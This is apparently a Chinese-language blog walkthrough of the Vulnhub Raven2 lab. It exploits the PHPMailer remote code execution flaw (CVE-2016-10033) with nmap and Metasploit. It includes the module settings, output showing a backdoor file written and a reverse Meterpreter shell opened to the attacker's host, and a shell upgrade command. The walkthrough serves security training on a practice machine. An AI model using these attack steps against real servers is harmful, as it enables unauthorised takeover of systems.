PHPMailer远程代码执行漏洞复现2:原理详解+MSF法渗透实战(CVE-2016-10033 Raven2靶机)

目录

一、PHPMailer远程代码执行漏洞

二、环境搭建

三、漏洞探测

1、探测端口与服务

2、探测漏洞脚本

3、查找Flag

4、发现PHPMailer

四、PHPMailer远程代码执行漏洞

1、MSF搜索PHPMailer漏洞

2、phpmailer_arg_injection

3、配置MSF

4、MSF执行run

5、访问contact.php生成V6TkeSuG.php

6、访问V6TkeSuG.php反弹shell

7、Kali监听成功,建立反弹shell连接

8、查找flag文件

9、查看flag2

10、查找flag3


本文通过Kali攻击机对Vulnhub的Raven2靶机进行渗透测试,发现并利用PHPMailer 5.2.16版本的远程代码执行漏洞(CVE-2016-10033)。通过MSF法渗透成功在目标服务器上生成Webshell并获取反弹Shell。测试过程中发现目标系统存在目录遍历漏洞并获取首个flag。利用Metasploit框架配置PHPMailer漏洞利用模块,最终在/var/www/目录下找到flag2.txt,并在WordPress上传目录中发现flag3.png图片。

一、PHPMailer远程代码执行漏洞

PHPMailer远程代码执行漏洞(以CVE-2016-10033为例)源于其对用户输入的邮箱地址验证与转义处理存在逻辑缺陷。攻击者可构造包含特殊字符的恶意邮箱地址,绕过过滤机制将参数注入到Sendmail命令行中,并利用其-X日志参数将包含PHP代码的邮件内容写入Web可访问目录,从而在服务器上创建恶意Webshell,最终实现远程代码执行,完全控制目标系统。

特点类别具体描述
漏洞类型远程代码执行 (RCE)
触发方式命令注入 + 功能滥用(利用Sendmail日志功能写文件)
利用条件1. 目标使用PHPMailer (< 5.2.18)
2. 存在联系人等邮件发送表单
3. Web目录路径已知且可写
4. 使用mail()函数(而非SMTP)发送
攻击载体精心构造的邮箱地址字段(from/email参数)
技术核心验证与转义顺序不当:先验证邮箱格式(RFC允许引号内特殊字符)后转义导致注入参数逃逸。
利用链恶意邮箱地址 -> 注入Sendmail的-X参数 -> 将邮件内容写入Web目录 -> 生成Webshell
隐蔽性较高。攻击 payload 隐藏在合法的邮箱字段中,不易被常规WAF规则检测。
影响范围广泛,因PHPMailer被集成于WordPress, Drupal, Joomla!, Yii等众多主流PHP应用和框架中。
漏洞等级高危 (High/Critical),可导致服务器被完全接管。
修复方式升级PHPMailer版本(>=5.2.18)

二、环境搭建

本文使用Kali作为攻击机,kali-linux(IP:192.168.59.128/24)如下所示。

靶机使用vulnhub的Raven2虚拟机环境,下载完成后解压到电脑,然后使用VMware直接打开并选择开机效果如下图所示:

下载地址:(vulnhub)https://downloads.sourceforge.net/project/raven2-ctf/Raven2.ova

使用工具查看存活网段,如下所示由于攻击机kali为192.168.59.128,本机(Windows主机)为192.168.59.1,故而靶机的IP地址为192.168.59.136。

三、漏洞探测

1、探测端口与服务

在Kali的终端使用nmap对靶机进行端口扫描,以最快速度、尽可能隐蔽地扫描目标IP的所有65535个TCP端口,并尝试识别所有开放端口上运行的服务版本、操作系统类型,同时运行默认的脚本扫描进行更深入的探测

nmap -sS -sV -T5 -A -p- 192.168.59.136
  • -sS (SYN Stealth Scan): 半开放扫描。这是nmap默认的扫描方式。它发送一个SYN包,如果收到SYN/ACK回复,就判断端口开放,然后发送RST包终止连接,而不完成完整的TCP三次握手。这种方式速度快且不易被日志记录。

  • -sV (Version Detection): 版本探测。nmap会尝试与开放的端口建立连接,并探测其上运行的服务和应用程序的具体版本号。这是信息收集中非常关键的一步。

  • -T5 (Timing Template): 定时模板-T 参数控制扫描速度(0-5),-T5 是最快的“疯狂”模式。它会以最快速度发送数据包,牺牲了一定的隐蔽性和准确性来换取速度。在网络条件好、不担心触发安全设备的情况下使用。

  • -A (Aggressive Scan): 全面扫描。这是一个“全能”选项,相当于同时开启了 -sV (版本探测)、-O (操作系统探测)、--script=default (默认NSE脚本扫描) 和 --traceroute (路由追踪)。它旨在一次性获取大量目标信息。

  • -p- (Port Specification): 扫描所有端口-p- 告诉nmap扫描从1到65535的所有TCP端口,而不仅仅是默认的1000个常用端口。

如下所示,发现靶机开放了4个端口,包括80、22等端口,突破口有可能在80端口的Web应用上。

    2、探测漏洞脚本

    使用Nmap的漏洞脚本库对目标进行了初步的漏洞探测,调用Nmap脚本引擎(NSE)中所有分类为“vuln”的脚本,对目标进行扫描检测已知的漏洞。命令如下所示。

    nmap --script=vuln 192.168.59.136

    发现有目录枚举漏洞(http-enum),具体如下所示。

    • /wordpress/发现了WordPress站点! 这是一个重大突破。WordPress本身、其主题和插件历史上存在大量漏洞,是渗透测试中最常见的突破口。
    • /wordpress/wp-login.php: 确认了WordPress的登录页面。这是暴力破解和尝试弱口令的直接入口。
    • 目录列表漏洞/css//img//js//vendor/ 等目录都开启了目录浏览(Directory Listing)。这意味着访问这些URL(如 http://192.168.59.136/css/)可以直接看到目录下的文件列表,无需索引页(如index.html)。这可能会泄露敏感文件(如备份文件、配置文件、源代码)

    3、查找Flag

    访问vendor目录遍历漏洞的页面,具体如下所示。

    http://192.168.59.136/vendor/

    点击PATH链接地址,如下所示。

    此时进入到vendor/path页面,获取到第一个flag,如下所示。

    http://192.168.59.136/vendor/PATH

    4、发现PHPMailer

    访问Readme.md发现PHPMailer版本,具体如下所示。

    查看vendor目录下的Readme文件,获取到当前Web框架为PHPMailer,且版本号为5.2。

    http://192.168.59.136/vendor/README.md

    查看vendor目录下的version文件,获取到PHPMailer版本号为5.2.16。

    http://192.168.59.136/vendor/VERSION

    四、PHPMailer远程代码执行漏洞

    1、MSF搜索PHPMailer漏洞

    在MSF中搜索phpmailer,查找到2个漏洞,其中序号为0的CVE-2016-12-26即为需要利用的渗透脚本。

    msfconsole
    search phpmailer

    2、phpmailer_arg_injection

    选择exploit/multi/http/phpmailer_arg_injection,显示配置选项,如下所示。

    use 0
    show options

    3、配置MSF

    使用Metasploit命令配置了针对PHPMailer漏洞(CVE-2016-10033)的自动化攻击流程。它指定目标主机192.168.59.136及其漏洞页面contact.php,并设置Web根目录为/var/www/html以确保恶意Webshell能正确写入。执行后,模块会自动构造特殊请求注入sendmail参数,将包含Payload的邮件内容写入指定路径,最终建立反向Shell连接,从而获得对目标服务器的远程控制权限。

    set rhosts 192.168.59.136
    set TARGETURI /contact.php
    set WEB_ROOT /var/www/html

    4、MSF执行run

    msf执行run开启攻击,此时执行contact.php会在根目录下生成了木马V6TkeSuG.php,如下所示。

    5、访问contact.php生成V6TkeSuG.php

    浏览器访问192.168.59.136/contact.php,此时时间会稍长,运行结果如下所示。

    192.168.59.136/contact.php

    6、访问V6TkeSuG.php反弹shell

    浏览器访问V6TkeSuG.php与Kali攻击机的4444端口建立连接,如下所示。

    7、Kali监听成功,建立反弹shell连接

    如下所示kali监听成功,攻击机反弹shell建立成功。输入python -c 'import pty;pty.spawn("/bin/bash")'后,在获取了一个简陋的Shell之后,将其升级为一个功能完整的交互式Shell。同时输入getuid获取当前用户如下所示,当前用户为www-data低权限用户。

    msf6 exploit(multi/http/phpmailer_arg_injection) > run
    
    [*] Started reverse TCP handler on 192.168.59.128:4444 
    [*] Writing the backdoor to /var/www/html/V6TkeSuG.php
    [*] Sleeping before requesting the payload from: /contact.php/V6TkeSuG.php
    [*] Waiting for up to 300 seconds to trigger the payload
    [*] Sending stage (39282 bytes) to 192.168.59.136
    [+] Deleted /var/www/html/V6TkeSuG.php
    [*] Meterpreter session 1 opened (192.168.59.128:4444 -> 192.168.59.136:40552 ) at 2025-09-02 10:17:16 -0400
    
    
    meterpreter > 
    meterpreter > getuid
    Server username: www-data
    meterpreter > 
    

    输入shell进入bash页面,尝试输入ls查看当前目录,运行结果如下所示。

    8、查找flag文件

    输入find / -name flag*查找flag相关的文件,在渗透测试中,find 命令会遍历所有目录,但低权限用户(如 www-data)会遇到大量 Permission denied 错误,这些错误信息会刷屏,干扰你寻找真正的结果。将所有的错误信息(包括 Permission denied)重定向到“空设备”(/dev/null),从而只显示成功找到的结果,命令如下所示。

    find / -name flag* 2>/dev/null

    发现两个flag相关文件,分别是flag2和flag3相关,具体路径如下所示。

    /var/www/flag2.txt
    /var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png

    9、查看flag2

    flag2的文件路径为/var/www/flag2.txt,执行cat /var/www/flag.txt查看,具体如下所示。

    10、查找flag3

    flag3的文件路径:/var/www/html/wordpress/wp-content/uploads/2018/11/flag3.png,通过网站URL访问flag3.png图片,如下所示。

    http://192.168.59.136//wordpress/wp-content/uploads/2018/11/flag3.png

    评论
    添加红包

    请填写红包祝福语或标题

    红包个数最小为10个

    红包金额最低5元

    当前余额3.43前往充值 >
    需支付:10.00
    成就一亿技术人!
    领取后你会自动成为博主和红包主的粉丝 规则
    hope_wisdom
    发出的红包

    打赏作者

    mooyuan天天

    你的鼓励将是我创作的最大动力

    ¥1 ¥2 ¥4 ¥6 ¥10 ¥20
    扫码支付:¥1
    获取中
    扫码支付

    您的余额不足,请更换扫码支付或充值

    打赏作者

    实付
    使用余额支付
    点击重新获取
    扫码支付
    钱包余额 0

    抵扣说明:

    1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
    2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

    余额充值